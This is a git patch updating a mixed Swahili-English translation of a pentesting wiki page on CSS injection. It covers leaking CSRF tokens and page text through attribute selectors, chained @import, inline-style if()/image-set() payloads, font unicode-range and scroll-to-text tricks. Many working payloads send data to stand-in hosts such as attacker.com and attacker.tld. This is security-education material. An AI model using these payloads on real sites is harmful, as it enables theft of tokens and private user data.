From 1cf509570136cd8bb08148702dd010ef2f1bfe70 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Fri, 29 Aug 2025 00:18:10 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-web/xs-search/css-injection/README.md']

---
 .../xs-search/css-injection/README.md         | 254 ++++++++++--------
 1 file changed, 148 insertions(+), 106 deletions(-)

diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md
index 803f176f3..cb79f8b29 100644
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@@ -6,7 +6,7 @@
 
 ### Attribute Selector
 
-CSS selectors zimeundwa ili kuendana na thamani za `input` element's `name` na `value` attributes. Ikiwa attribute ya thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyowekwa awali inaloadiwa:
+CSS selectors zimeundwa ili zifananishe thamani za sifa `name` na `value` za kipengee cha `input`. Ikiwa sifa ya `value` ya elementi ya `input` inaanza na alama maalum, rasilimali ya nje iliyotanguliwa itapakiwa:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya ingizo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakui mandharinyuma.
+Hata hivyo, mbinu hii inakutana na kizuizi linapohusika na elementi za input zilizofichwa (`type="hidden"`) kwa sababu elementi zilizofichwa hazipaki backgrounds.
 
-#### Kuepuka kwa Vipengele Vilivyofichwa
+#### Bypass kwa Elementi Zilizofichwa
 
-Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla `~`. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuata kipengele cha ingizo kilichofichwa, na kusababisha picha ya mandharinyuma kupakuliwa:
+Ili kuepuka kizuizi hiki, unaweza kulenga elementi ya sibling inayofuata kwa kutumia `~` general sibling combinator. Kisha sheria ya CSS itumike kwa siblings wote wanaofuata elementi ya input iliyofichwa, na kusababisha picha ya background kupakia:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-Mfano wa vitendo wa kutumia mbinu hii umeelezwa katika kipande cha msimbo kilichotolewa. Unaweza kukiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+Mfano wa vitendo wa kutumia mbinu hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiona [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
-#### Masharti ya Msingi kwa CSS Injection
+#### Mahitaji ya CSS Injection
 
-Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani lazima yatekelezwe:
+Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani yanapaswa kutimizwa:
 
-1. **Urefu wa Payload**: Kichocheo cha CSS injection lazima kiwe na uwezo wa kubeba payloads ndefu za kutosha ili kuzingatia wachaguo walioundwa.
-2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda sura ya ukurasa, ambayo ni muhimu ili kuanzisha upya wa CSS na payloads mpya zilizoundwa.
-3. **Rasilimali za Nje**: Mbinu hii inadhani uwezo wa kutumia picha zinazohifadhiwa nje. Hii inaweza kuwa na vizuizi na Sera ya Usalama wa Maudhui (CSP) ya tovuti.
+1. **Payload Length**: vektori ya CSS injection inapaswa kuunga mkono payloads za urefu wa kutosha ili kuweza kubeba selectors zilizotengenezwa.
+2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuweka ukurasa ndani ya iframe, jambo muhimu ili kusababisha CSS itathminwe upya kwa payloads mpya zilizotengenezwa.
+3. **External Resources**: Mbinu hii inategemea uwezo wa kutumia picha zilizohostwa kwa nje. Hii inaweza kuzuiliwa na Content Security Policy (CSP) ya tovuti.
 
-### Kichaguo cha Sifa za Kijinga
+### Blind Attribute Selector
 
-Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguo **`:has`** na **`:not`** ili kubaini maudhui hata kutoka kwa vipengele vya kijinga. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kilichomo ndani ya ukurasa wa wavuti unaopakia CSS injection.\
-Pia inawezekana kutumia wachaguo hao kutoa taarifa kutoka kwa vizuizi kadhaa vya aina moja kama ilivyo:
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kile kilicho ndani ya ukurasa wa wavuti unaopakia CSS injection.\
+Pia inawezekana kutumia selectors hizo kuchukua taarifa kutoka kwa vibloki kadhaa vya aina ile ile kama ilivyo katika:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -52,59 +52,95 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Kuchanganya hii na mbinu ifuatayo ya **@import**, inawezekana kutoa taarifa nyingi za **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Kuunganisha hii na mbinu ifuatayo ya **@import**, inawezekana ku-exfiltrate kiasi kikubwa cha **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.
 
 ### @import
 
-Mbinu ya awali ina mapungufu, angalia mahitaji. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa mwathirika**, au unahitaji kuwa na uwezo wa **iframe ukurasa ulio na udhaifu wa CSS injection**.
+Mbinu ya awali ina mapungufu kadhaa, angalia prerequisites. Unahitaji kuwa na uwezo wa **send multiple links to the victim**, au unahitaji kuwa na uwezo wa **iframe the CSS injection vulnerable page**.
 
-Hata hivyo, kuna mbinu nyingine ya busara inayotumia **CSS `@import`** kuboresha ubora wa mbinu hiyo.
+Walakini, kuna mbinu nyingine mahiri inayotumia **CSS `@import`** kuboresha ubora wa mbinu hiyo.
 
-Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) na inafanya kazi kama ifuatavyo:
+Hii ilionyeshwa kwa mara ya kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) na inafanya kazi kama ifuatavyo:
 
-Badala ya kupakia ukurasa huo mara kwa mara na payload tofauti kumi kila wakati (kama ilivyo katika ile ya awali), tutapakia **ukurasa mara moja tu na kwa kuagiza tu kwenye seva ya washambuliaji** (hii ndiyo payload ya kutuma kwa mwathirika):
+Badala ya kupakia ukurasa uleule mara kwa mara na makumi ya payloads tofauti kila wakati (kama ilivyokuwa hapo awali), tutapakia **load the page just once and just with an import to the attackers server** (hii ni payload ya kumtumia victim):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. Uagizaji utaenda kupokea **script ya CSS** kutoka kwa washambuliaji na **kivinjari kitaipakia**.
-2. Sehemu ya kwanza ya script ya CSS ambayo mshambuliaji atatuma ni **`@import` nyingine kwa seva ya washambuliaji tena.**
-1. Seva ya washambuliaji haitajibu ombi hili bado, kwani tunataka kuvuja baadhi ya herufi na kisha kujibu uagizaji huu na mzigo wa kuvuja wa ifuatayo.
-3. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa mteule wa sifa**
-1. Hii itatuma kwa seva ya washambuliaji **herufi ya kwanza ya siri na ya mwisho**
-4. Mara baada ya seva ya washambuliaji kupokea **herufi ya kwanza na ya mwisho ya siri**, itajibu **uagizaji ulioombwa katika hatua ya 2**.
-1. Jibu litakuwa sawa kabisa na **hatua za 2, 3 na 4**, lakini wakati huu litajaribu **kupata herufi ya pili ya siri na kisha ya kabla ya mwisho**.
+1. The import is going to **pokea script ya CSS** kutoka kwa attackers na **kivinjari kitaipakia**.
+2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
+1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
+3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
+1. This will send to the attackers server the **first char of the secret and the last one**
+4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
+1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
 
-Mshambuliaji atafuatilia **mzunguko huo hadi apate kuvuja kabisa siri**.
+Mshambuliaji ata f**uata mzunguko huo hadi itakapofaulu leak kabisa the secret**.
 
-Unaweza kupata [**kanuni ya asili ya Pepe Vila ya kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**kanuni sawa lakini iliyoelezewa hapa**.](#css-injection)
+You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
 
-> [!NOTE]
-> Script itajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na kutoka mwisho) kwa sababu mteule wa sifa unaruhusu kufanya mambo kama:
+> [!TIP]
+> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
 >
 > ```css
-> /* value^=  ili kulinganisha mwanzo wa thamani*/
+> /* value^=  to match the beggining of the value*/
 > input[value^="0"] {
->   --s0: url(http://localhost:5001/leak?pre=0);
+>  --s0: url(http://localhost:5001/leak?pre=0);
 > }
 >
-> /* value$=  ili kulinganisha mwisho wa thamani*/
+> /* value$=  to match the ending of the value*/
 > input[value$="f"] {
->   --e0: url(http://localhost:5001/leak?post=f);
+>  --e0: url(http://localhost:5001/leak?post=f);
 > }
 > ```
 >
-> Hii inaruhusu script kuvuja siri haraka zaidi.
+> This allows the script to leak the secret faster.
 
 > [!WARNING]
-> Wakati mwingine script **haiwezi kugundua kwa usahihi kwamba prefix + suffix iliyogunduliwa tayari ni bendera kamili** na itaendelea mbele (katika prefix) na nyuma (katika suffix) na wakati fulani itakwama.\
-> Usijali, angalia tu **matokeo** kwa sababu **unaweza kuona bendera hapo**.
+> Wakati mwingine script **haitambui kwa usahihi kwamba prefix + suffix zilizogunduliwa tayari ni flag kamili** na itaendelea mbele (katika prefix) na nyuma (katika suffix) na kwa wakati fulani itaishia kusimamika.\
+> Usihofu, angalia tu **output** kwa sababu **unaweza kuona flag pale**.
 
-### Mteule Mwingine
+### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
-Njia nyingine za kufikia sehemu za DOM kwa **mteule wa CSS**:
+Primitive hii inaruhusu exfiltration kwa kutumia tu attribute ya inline style ya element, bila selectors au external stylesheets. Inategemea CSS custom properties, func attr() kusoma attributes za element ile ile, conditionals mpya za CSS if() kwa branching, na image-set() ili kuanzisha request ya mtandao ambayo inaencode value iliyolingana.
 
-- **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-to-search" katika DOM.
-- **`:empty`** mteule: Inatumika kwa mfano katika [**hii andiko**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+> [!WARNING]
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
+
+- Sink: dhibiti attribute ya style ya element na uhakikishe attribute lengwa iko kwenye element ile ile (attr() husoma tu attributes za element ile ile).
+- Read: nakili attribute kwenye variable ya CSS: `--val: attr(title)`.
+- Decide: chagua URL kwa kutumia nested conditionals zinazolinganishwa variable na string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: tumia `background: image-set(var(--steal))` (au property yoyote inayofanya fetch) ili kulazimisha request kwa endpoint iliyochaguliwa.
+
+Attempt (does not work; single quotes in comparison):
+```html
+<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
+```
+payload inayofanya kazi (nukuu mbili zinahitajika katika ulinganisho):
+```html
+<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
+```
+Kuorodhesha thamani za sifa kwa masharti yaliyowekwa ndani:
+```html
+<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
+```
+Demo ya kweli (kujaribu majina ya watumiaji):
+```html
+<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
+```
+Vidokezo na vikwazo:
+
+- Inafanya kazi kwenye vivinjari vya Chromium-based wakati wa utafiti; tabia inaweza kutofautiana kwenye injini nyingine za kivinjari.
+- Inafaa zaidi kwa value spaces zenye ukomo/zinazohesabika (IDs, flags, short usernames). Kuba strings ndefu bila external stylesheets bado ni changamoto.
+- Kila CSS property inayopakia URL inaweza kutumika kuanzisha ombi (mfano, background/image-set, border-image, list-style, cursor, content).
+
+Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+
+### Other selectors
+
+Njia nyingine za kufikia sehemu za DOM kwa kutumia **CSS selectors**:
+
+- **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye class "class-to-search" kwenye DOM.
+- **`:empty`** selector: Imetumika kwa mfano katika [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
 }
 ```
 
-### XS-Search Inayotokana na Makosa
+### Error based XS-Search
 
-**Marejeo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Makosa-Yaliyotokana na XS-Search PoC na @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Nia kuu ni **kutumia fonti maalum kutoka kwa mwisho ulio na udhibiti** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanaonyeshwa kwa fonti hii tu ikiwa rasilimali iliyoainishwa (`favicon.ico`) haiwezi kupakiwa**.
+Lengo kwa ujumla ni **kutumia custom font kutoka kwa endpoint inayodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanaonyeshwa na font hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakuliwa**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -140,47 +176,47 @@ font-family: "poc";
 ```
 1. **Matumizi ya Fonti Maalum**:
 
-- Fonti maalum inafafanuliwa kwa kutumia sheria ya `@font-face` ndani ya tag ya `<style>` katika sehemu ya `<head>`.
-- Fonti inaitwa `poc` na inachukuliwa kutoka kwa kiungo cha nje (`http://attacker.com/?leak`).
-- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
+- Fonti maalum imefafanuliwa kwa kutumia kanuni ya `@font-face` ndani ya `<style>` tagi katika sehemu ya `<head>`.
+- Fonti inaitwa `poc` na inavutwa kutoka kwa external endpoint (`http://attacker.com/?leak`).
+- Mali ya `unicode-range` imewekwa kwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
 
-2. **Element ya Kitu Chenye Maandishi ya Kurejelea**:
-- Element ya `<object>` yenye `id="poc0"` imeundwa katika sehemu ya `<body>`. Element hii inajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
-- Familia ya fonti kwa element hii imewekwa kuwa `'poc'`, kama ilivyoainishwa katika sehemu ya `<style>`.
-- Ikiwa rasilimali (`favicon.ico`) itashindwa kupakia, maudhui ya kurejelea (herufi 'A') ndani ya tag ya `<object>` yanaonyeshwa.
-- Maudhui ya kurejelea ('A') yataonyeshwa kwa kutumia fonti maalum `poc` ikiwa rasilimali ya nje haiwezi kupakiwa.
+2. **Elemento la <object> na Maandishi ya Fallback**:
+- Kipengee cha `<object>` chenye `id="poc0"` kimeundwa katika sehemu ya `<body>`. Kipengee hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
+- `font-family` kwa kipengee hiki imewekwa kuwa `'poc'`, kama ilivyoainishwa katika sehemu ya `<style>`.
+- Iwapo rasilimali (`favicon.ico`) itashindwa kupakiwa, yaliyomo ya fallback (herufi 'A') ndani ya `<object>` tagi yataonyeshwa.
+- Yaliyomo ya fallback ('A') yataonyeshwa kwa kutumia fonti maalum `poc` ikiwa rasilimali ya nje haiwezi kupakiwa.
 
-### Mtindo wa Kuteleza hadi kwa Kipande cha Maandishi
+### Uwekaji mtindo wa Scroll-to-Text Fragment
 
-Pseudo-class ya **`:target`** inatumika kuchagua element inayolengwa na **kipande cha URL**, kama ilivyoainishwa katika [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` haiwezi kulinganisha na element yoyote isipokuwa maandiko yalengewe wazi na kipande hicho.
+Pseudo-class ya **`:target`** inatumiwa kuchagua kipengee kinacholengwa na **URL fragment**, kama ilivyoainishwa katika [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` haiendani na vipengee vyovyote isipokuwa maandishi yamelengwa wazi na fragment.
 
-Wasiwasi wa usalama unatokea wakati washambuliaji wanatumia kipengele cha **Scroll-to-text**, wakiruhusu kuthibitisha uwepo wa maandiko maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia HTML injection. Njia hii inahusisha kuingiza sheria ya CSS kama hii:
+Shida ya usalama inatokea wakati washambuliaji wanapotumia kipengele cha **Scroll-to-text** fragment, na kuwapa uwezo wa kuthibitisha uwepo wa maandishi maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwenye server yao kupitia HTML injection. Mbinu hiyo inahusisha kuingiza kanuni ya CSS kama hii:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-Katika hali kama hizi, ikiwa maandiko "Administrator" yapo kwenye ukurasa, rasilimali `target.png` inahitajiwa kutoka kwa seva, ikionyesha uwepo wa maandiko hayo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL iliyoundwa kwa njia maalum ambayo inaingiza CSS iliyotiwa pamoja na kipande cha Scroll-to-text:
+Katika hali kama hizi, ikiwa maandishi "Administrator" yapo kwenye ukurasa, rasilimali `target.png` itaombwa kutoka kwenye seva, ikionyesha kuwepo kwa maandishi hayo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL iliyotengenezwa kwa njia maalum inayojumuisha CSS iliyoinjizwa pamoja na Scroll-to-text fragment:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Hapa, shambulio linatumia HTML injection kuhamasisha msimbo wa CSS, likilenga maandiko maalum "Administrator" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandiko yanapatikana, rasilimali iliyoonyeshwa inaloadiwa, bila kukusudia kuashiria uwepo wake kwa mshambuliaji.
+Hapa, shambulio linatumia HTML injection kusafirisha CSS code, likilenga maandishi maalum "Administrator" kupitia Scroll-to-text fragment (`#:~:text=Administrator`). Ikiwa maandishi hayo yatapatikana, rasilimali iliyotajwa itapakiwa, kwa bahati mbaya ikimtangaza kuwepo kwake kwa attacker.
 
-Ili kupunguza hatari, mambo yafuatayo yanapaswa kuzingatiwa:
+Kwa ajili ya kuzuia, mambo yafuatayo yanapaswa kuzingatiwa:
 
-1. **Ulinganifu wa STTF ulio na mipaka**: Scroll-to-text Fragment (STTF) imeundwa kulinganisha maneno au sentensi pekee, hivyo kupunguza uwezo wake wa kuvuja siri au token zisizo za kawaida.
-2. **Kikomo kwa Muktadha wa Kivinjari wa Juu**: STTF inafanya kazi tu katika muktadha wa kivinjari wa juu na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyakuzi kuwa rahisi kuonekana kwa mtumiaji.
-3. **Mahitaji ya Kuanzishwa na Mtumiaji**: STTF inahitaji ishara ya kuanzishwa na mtumiaji ili kufanya kazi, ikimaanisha unyakuzi unaweza kufanyika tu kupitia navigations zilizoanzishwa na mtumiaji. Mahitaji haya yanapunguza hatari ya mashambulizi kufanywa kiotomatiki bila mwingiliano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blog anabainisha hali maalum na njia za kupita (kwa mfano, uhandisi wa kijamii, mwingiliano na nyongeza maarufu za kivinjari) ambazo zinaweza kurahisisha kiotomatiki cha shambulio.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) imetengenezwa ili kuendana tu na maneno au sentensi, hivyo kupunguza uwezo wake wa leak siri yoyote au tokens.
+2. **Restriction to Top-level Browsing Contexts**: STTF inafanya kazi tu katika top-level browsing contexts na haifanyi kazi ndani ya iframes, na kufanya jaribio lolote la exploitation kuonekana zaidi kwa user.
+3. **Necessity of User Activation**: STTF inahitaji user-activation gesture ili ifanye kazi, ikimaanisha exploitations zinawezekana tu kupitia user-initiated navigations. Hitaji hili linapunguza kwa kiasi kikubwa hatari ya attacks kufanywa kwa automated bila user interaction. Hata hivyo, mwandishi wa blogu anaonyesha masharti maalum na bypasses (mf., social engineering, interaction na prevalent browser extensions) ambazo zinaweza kurahisisha automation ya attack.
 
-Uelewa wa mifumo hii na udhaifu wa uwezekano ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mbinu za unyakuzi kama hizi.
+Kujua kuhusu mechanisms hizi na potential vulnerabilities ni muhimu kwa kudumisha web security na kujikinga dhidi ya exploitative tactics kama hizi.
 
-Kwa maelezo zaidi angalia ripoti ya asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+Kwa taarifa zaidi angalia ripoti ya awali: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-Unaweza kuangalia [**unyakuzi ukitumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa **tu ikiwa hizo thamani za unicode zipo** kwenye ukurasa. Kwa mfano:
+Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitatokewa tu ikiwa thamani hizo za unicode zipo kwenye ukurasa. Kwa mfano:
 ```html
 <style>
 @font-face {
@@ -212,19 +248,19 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
 
 **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Mbinu iliyoelezwa inahusisha kutoa maandiko kutoka kwa node kwa kutumia ligatures za fonti na kufuatilia mabadiliko katika upana. Mchakato huu unajumuisha hatua kadhaa:
+Mbinu iliyotajwa inahusisha kutoa maandishi kutoka kwa node kwa kutumia ligatures za font na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa:
 
-1. **Uundaji wa Fonti Maalum**:
+1. **Creation of Custom Fonts**:
 
-- Fonti za SVG zinatengenezwa na glyphs zikiwa na sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
-- Mfano wa glyph ya SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inamaanisha mfuatano wa herufi mbili.
-- Fonti hizi kisha zinabadilishwa kuwa muundo wa woff kwa kutumia fontforge.
+- Fonts za SVG zinaundwa zikiwa na glyphs zenye attribute `horiz-adv-x`, ambayo inasetua upana mkubwa kwa glyph inayowakilisha mfululizo wa wahusika wawili.
+- Mfano wa SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inaonyesha mfululizo wa wahusika wawili.
+- Fonts hizi kisha zinageuzwa kuwa format ya woff kwa kutumia fontforge.
 
-2. **Ugunduzi wa Mabadiliko ya Upana**:
+2. **Detection of Width Changes**:
 
-- CSS inatumika kuhakikisha kuwa maandiko hayajikunja (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
-- Kuonekana kwa scrollbar ya usawa, iliyopangwa tofauti, inafanya kazi kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfuatano maalum wa herufi, upo katika maandiko.
-- CSS inayohusika:
+- CSS inatumiwa kuhakikisha kuwa maandishi hayajazungushwa (`white-space: nowrap`) na kubinafsisha muonekano wa scrollbar.
+- Kuibuka kwa horizontal scrollbar, iliyopambwa kwa njia maalum, hutumika kama kiashiria (oracle) kuwa ligature maalum, na kwa hivyo mfululizo maalum wa wahusika, zipo ndani ya maandishi.
+- The CSS involved:
 ```css
 body {
 white-space: nowrap;
@@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Mchakato wa Kutumia**:
+3. **Exploit Process**:
 
-- **Hatua ya 1**: Fonti zinaundwa kwa ajili ya jozi za herufi zikiwa na upana mkubwa.
-- **Hatua ya 2**: Hila inayotegemea scrollbar inatumika kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya herufi) inapotolewa, ikionyesha uwepo wa mfuatano wa herufi.
-- **Hatua ya 3**: Baada ya kugundua ligature, glyph mpya zinazowakilisha mfuatano wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi inayotangulia au inayofuatia.
-- **Hatua ya 4**: Ugunduzi wa ligature ya herufi tatu unafanywa.
-- **Hatua ya 5**: Mchakato unarudiwa, ukifunua maandiko yote hatua kwa hatua.
+- **Hatua 1**: Fonts zinaundwa kwa jozi za herufi zenye upana mkubwa.
+- **Hatua 2**: Njia ya scrollbar inatumika kugundua wakati glyph yenye upana mkubwa (ligature ya mfululizo wa herufi mbili) inachorwa, ikionyesha uwepo wa mfululizo huo wa herufi.
+- **Hatua 3**: Ukigundua ligature, glyph mpya zinazoonyesha mfululizo wa herufi tatu zinatengenezwa, zikijumuisha jozi iliyotambuliwa na kuongeza herufi kabla au baada yake.
+- **Hatua 4**: Ugundaji wa ligature ya herufi tatu unafanywa.
+- **Hatua 5**: Mchakato unarudishwa, ukifungua hatua kwa hatua maandishi yote.
 
-4. **Uboreshaji**:
-- Njia ya sasa ya kuanzisha inayotumia `<meta refresh=...` si bora.
-- Njia bora zaidi inaweza kujumuisha hila ya CSS `@import`, ikiboresha utendaji wa matumizi.
+4. **Optimization**:
+- Njia ya kuanzisha iliyopo kwa sasa ikitumia `<meta refresh=...` si bora.
+- Njia bora inaweza kuwa kutumia trick ya CSS `@import`, kuboresha utendaji wa exploit.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-Hila hii ilitolewa katika hii [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset inayotumika katika node ya maandiko inaweza kuvuja **kwa kutumia fonti za kawaida** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kawaida- zinazohitajika.
+Trick hii ilitolewa katika hilo la [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset inayotumika katika text node inaweza leak kwa kutumia font za default zilizowekwa kwenye browser: hakuna fonts za nje au maalum zinazohitajika.
 
-Dhana hii inahusisha kutumia animation kupanua upana wa `div` hatua kwa hatua, ikiruhusu herufi moja kwa wakati mmoja kuhamia kutoka sehemu ya 'suffix' ya maandiko hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandiko katika sehemu mbili:
+Wazo linategemea kutumia animation kupanua upana wa `div` kwa hatua, ikiruhusu herufi moja kwa wakati kuhamia kutoka sehemu ya 'suffix' ya maandishi hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandishi katika sehemu mbili:
 
-1. **Prefix**: Mstari wa awali.
-2. **Suffix**: Mstari wa baadaye.
+1. **Prefix**: Mstari wa kwanza.
